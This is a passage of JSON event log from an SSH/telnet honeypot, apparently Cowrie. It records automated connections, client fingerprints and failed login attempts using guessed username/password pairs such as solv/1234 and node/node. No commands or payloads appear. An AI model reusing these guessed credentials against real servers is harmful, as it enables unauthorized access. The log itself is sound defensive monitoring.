etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:18.929433Z","src_ip":"2.57.122.208","session":"e2b06418ca21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:19.626262Z","src_ip":"2.57.122.208","session":"e2b06418ca21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:20.922973Z","src_ip":"2.57.122.208","session":"e2b06418ca21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46334,"dst_ip":"10.17.0.5","dst_port":22,"session":"22ee1cc529a9","protocol":"ssh","message":"New connection: 80.94.92.184:46334 (10.17.0.5:22) [session: 22ee1cc529a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:39.743000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:39.892970Z","src_ip":"80.94.92.184","session":"22ee1cc529a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:39.897226Z","src_ip":"80.94.92.184","session":"22ee1cc529a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:40.921062Z","src_ip":"80.94.92.184","session":"22ee1cc529a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:42.132918Z","src_ip":"80.94.92.184","session":"22ee1cc529a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42358,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fa03f65393c","protocol":"ssh","message":"New connection: 2.57.122.208:42358 (159.203.135.109:22) [session: 7fa03f65393c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:57:57.134548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:57:57.145640Z","src_ip":"2.57.122.208","session":"7fa03f65393c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:57:57.428130Z","src_ip":"2.57.122.208","session":"7fa03f65393c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:57:58.640675Z","src_ip":"2.57.122.208","session":"7fa03f65393c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:58:00.023174Z","src_ip":"2.57.122.208","session":"7fa03f65393c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49210,"dst_ip":"10.17.0.5","dst_port":22,"session":"24188ffa40d2","protocol":"ssh","message":"New connection: 80.94.92.184:49210 (10.17.0.5:22) [session: 24188ffa40d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:58:50.288691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:58:51.034865Z","src_ip":"80.94.92.184","session":"24188ffa40d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:58:51.038635Z","src_ip":"80.94.92.184","session":"24188ffa40d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:58:52.354290Z","src_ip":"80.94.92.184","session":"24188ffa40d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:58:53.507910Z","src_ip":"80.94.92.184","session":"24188ffa40d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45460,"dst_ip":"159.203.135.109","dst_port":22,"session":"d56cc8e99967","protocol":"ssh","message":"New connection: 2.57.122.208:45460 (159.203.135.109:22) [session: d56cc8e99967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:00:38.334939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:00:38.521129Z","src_ip":"2.57.122.208","session":"d56cc8e99967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:00:38.645963Z","src_ip":"2.57.122.208","session":"d56cc8e99967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:00:39.642049Z","src_ip":"2.57.122.208","session":"d56cc8e99967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:00:40.924287Z","src_ip":"2.57.122.208","session":"d56cc8e99967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52064,"dst_ip":"10.17.0.5","dst_port":22,"session":"2028298d74af","protocol":"ssh","message":"New connection: 80.94.92.184:52064 (10.17.0.5:22) [session: 2028298d74af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:01:55.423849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:01:55.498525Z","src_ip":"80.94.92.184","session":"2028298d74af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:01:55.598421Z","src_ip":"80.94.92.184","session":"2028298d74af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:01:56.974236Z","src_ip":"80.94.92.184","session":"2028298d74af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:01:58.283004Z","src_ip":"80.94.92.184","session":"2028298d74af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.9.52.112","src_port":54768,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c0ffb22f03e","protocol":"ssh","message":"New connection: 71.9.52.112:54768 (159.203.135.109:22) [session: 8c0ffb22f03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:02:49.438414Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.36.97.221","src_port":52164,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b5af9c943d3","protocol":"telnet","message":"New connection: 5.36.97.221:52164 (10.17.0.5:23) [session: 4b5af9c943d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:04.858596Z"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:05.295216Z","src_ip":"71.9.52.112","session":"8c0ffb22f03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.190","src_port":35476,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e78200f4e6a","protocol":"ssh","message":"New connection: 2.57.122.190:35476 (10.17.0.5:22) [session: 6e78200f4e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:08.232062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:08.240108Z","src_ip":"2.57.122.190","session":"6e78200f4e6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:08.338672Z","src_ip":"2.57.122.190","session":"6e78200f4e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:08.767164Z","src_ip":"2.57.122.190","session":"6e78200f4e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.08415412902832,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:17.942639Z","src_ip":"5.36.97.221","session":"4b5af9c943d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39380,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1ee6bfc4bd6","protocol":"ssh","message":"New connection: 2.57.122.208:39380 (159.203.135.109:22) [session: e1ee6bfc4bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:17.983562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:18.247489Z","src_ip":"2.57.122.208","session":"e1ee6bfc4bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:18.251138Z","src_ip":"2.57.122.208","session":"e1ee6bfc4bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:19.423146Z","src_ip":"2.57.122.208","session":"e1ee6bfc4bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:03:20.724821Z","src_ip":"2.57.122.208","session":"e1ee6bfc4bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.32.13","src_port":56806,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba58db32a16","protocol":"ssh","message":"New connection: 95.215.32.13:56806 (159.203.135.109:22) [session: 6ba58db32a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:12.237272Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:12.245865Z","src_ip":"95.215.32.13","session":"6ba58db32a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.32.13","src_port":56810,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a093fb1faf8","protocol":"ssh","message":"New connection: 95.215.32.13:56810 (159.203.135.109:22) [session: 2a093fb1faf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:12.274080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:12.279456Z","src_ip":"95.215.32.13","session":"2a093fb1faf8","protocol":"ssh"}
